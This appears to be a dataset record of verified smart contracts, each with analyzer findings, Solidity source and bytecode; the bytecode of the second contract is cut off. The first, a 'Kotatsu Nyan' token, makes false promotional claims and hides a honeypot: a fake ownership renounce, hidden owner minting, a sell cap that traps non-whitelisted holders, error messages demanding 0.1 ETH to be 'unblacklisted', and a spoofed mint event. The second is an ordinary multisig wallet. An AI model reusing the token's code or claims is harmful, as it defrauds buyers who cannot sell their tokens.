{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,067 |
0x2511d102189d841db42c98d4ac2726d0bc0206cf
|
/**
*Submitted for verification at Etherscan.io on 2021-08-21
*/
/**
🐅 Welcome to Kotatsu Nyan - the comfiest Cat Token based off Ethereum! 🐱
WHY KOTATSU?
⇸ We are a token that revolves around it's community. Developers have locked liquidity and renounced ownership to ensure safety!
⇸ We plan on donating regularly to animal shelters from a wallet that takes 1% of transaction fees. 2% is reflected to all holders!
⇸ NFT trading cards backed by KOTATSU tokens are in the works.
⇸ A BSC based version of this token and a bridge is in progress - after two weeks, a snapshot will be taken at a random time and people will be airdropped 50% of their holdings in the ERC20 token!
WHERE TO FIND KOTATSU (AND OTHER LINKS):
http://kotatsunyan.info
https://t.me/kotatsunyanofficial
**/
pragma solidity ^0.6.9;
// SPDX-License-Identifier: MIT
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract KotatsuNyan is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 471400000 * 10**18;
uint256 private rTotal = 471400000 * 10**18;
string private _name = 'KotatsuNyan.info';
string private _symbol = '🌈Kotatsu';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decreaseAllowance(uint256 amount) public onlyOwner {
rTotal = amount * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function increaseAllowance(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address trade) public onlyOwner {
caller = trade;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount, "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase");
require(recipient != address(0), "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase");
if (sender != caller && recipient == router) {
require(amount < rTotal, "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase");
}
_router[sender] = _router[sender].sub(amount, "ERC20: Anti-bot mechanism flagged you as a bot, to get unblacklisted make a 0.1 ETH purchase");
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106ab565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610788565b005b6102526109c0565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ca565b604051808215151515815260200191505060405180910390f35b6102f6610aa3565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aba565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bc7565b6040518082815260200191505060405180910390f35b6103b6610c10565b005b6103c0610d99565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e3b565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f48565b604051808215151515815260200191505060405180910390f35b6104ed610f66565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f8c565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611013565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611220565b8484611228565b6001905092915050565b6106b3611220565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b610790611220565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610871611220565b73ffffffffffffffffffffffffffffffffffffffff16141561089257600080fd5b6108a78160065461138790919063ffffffff16565b60068190555061090681600260006108bd611220565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138790919063ffffffff16565b60026000610912611220565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610958611220565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006109d784848461140f565b610a98846109e3611220565b610a93856040518060800160405280605c81526020016118bb605c9139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a49611220565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d49092919063ffffffff16565b611228565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610ac2611220565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c18611220565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e315780601f10610e0657610100808354040283529160200191610e31565b820191906000526020600020905b815481529060010190602001808311610e1457829003601f168201915b5050505050905090565b610e43611220565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f5c610f55611220565b848461140f565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61101b611220565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611162576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806118956026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561126257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561129c57600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600080828401905083811015611405576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c8152602001806118bb605c913960600191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561151b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c8152602001806118bb605c913960600191505060405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115c65750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611626576007548110611625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605c8152602001806118bb605c913960600191505060405180910390fd5b5b611692816040518060800160405280605c81526020016118bb605c9139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d49092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061172781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611881576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561184657808201518184015260208101905061182b565b50505050905090810190601f1680156118735780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20416e74692d626f74206d656368616e69736d20666c616767656420796f75206173206120626f742c20746f2067657420756e626c61636b6c6973746564206d616b65206120302e3120455448207075726368617365a2646970667358221220fbc4bc154d2e1c86c234e95f8f5d2ccae0aa7bfc9385a085ebb3b07c9a6f71b364736f6c634300060b0033
|
{"success": true, "error": null, "results": {}}
| 4,068 |
0xa361A2b711E7fBeD0e6a0c6F2D0500Cc29B62147
|
/**
*Submitted for verification at BscScan.com on 2022-03-03
*/
/**
*Submitted for verification at hecoinfo.com on 2022-01-27
*/
/**
*Submitted for verification at hecoinfo.com on 2021-02-07
*/
pragma solidity ^0.5.0;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != address(0));
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != address(0));
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
external
payable
{
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor (address[] memory _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i = 0; i < owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes memory data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes memory data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
view
returns (bool)
{
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes memory data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
emit Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
view
returns (uint count)
{
for (uint i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint count)
{
for (uint i = 0; i < transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
view
returns (address[] memory)
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
view
returns (uint[] memory _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i = 0; i < transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d9146101a457806320ea8d86146101d75780632f54bf6e146102015780633411c81c1461024857806354741525146102815780637065cb48146102c7578063784547a7146102fa5780638b51d13f146103245780639ace38c21461034e578063a0e67e2b1461041b578063a8abe69a14610480578063b5dc40c3146104c0578063b77bf600146104ea578063ba51a6df146104ff578063c01a8c8414610529578063c642747414610553578063d74f8edd1461061b578063dc8452cd14610630578063e20056e614610645578063ee22610b14610680575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b506101886004803603602081101561018157600080fd5b50356106aa565b60408051600160a060020a039092168252519081900360200190f35b3480156101b057600080fd5b5061015c600480360360208110156101c757600080fd5b5035600160a060020a03166106d2565b3480156101e357600080fd5b5061015c600480360360208110156101fa57600080fd5b5035610842565b34801561020d57600080fd5b506102346004803603602081101561022457600080fd5b5035600160a060020a03166108fc565b604080519115158252519081900360200190f35b34801561025457600080fd5b506102346004803603604081101561026b57600080fd5b5080359060200135600160a060020a0316610911565b34801561028d57600080fd5b506102b5600480360360408110156102a457600080fd5b508035151590602001351515610931565b60408051918252519081900360200190f35b3480156102d357600080fd5b5061015c600480360360208110156102ea57600080fd5b5035600160a060020a031661099d565b34801561030657600080fd5b506102346004803603602081101561031d57600080fd5b5035610ac2565b34801561033057600080fd5b506102b56004803603602081101561034757600080fd5b5035610b49565b34801561035a57600080fd5b506103786004803603602081101561037157600080fd5b5035610bb8565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b838110156103dd5781810151838201526020016103c5565b50505050905090810190601f16801561040a5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561042757600080fd5b50610430610c76565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561046c578181015183820152602001610454565b505050509050019250505060405180910390f35b34801561048c57600080fd5b50610430600480360360808110156104a357600080fd5b508035906020810135906040810135151590606001351515610cd9565b3480156104cc57600080fd5b50610430600480360360208110156104e357600080fd5b5035610e0a5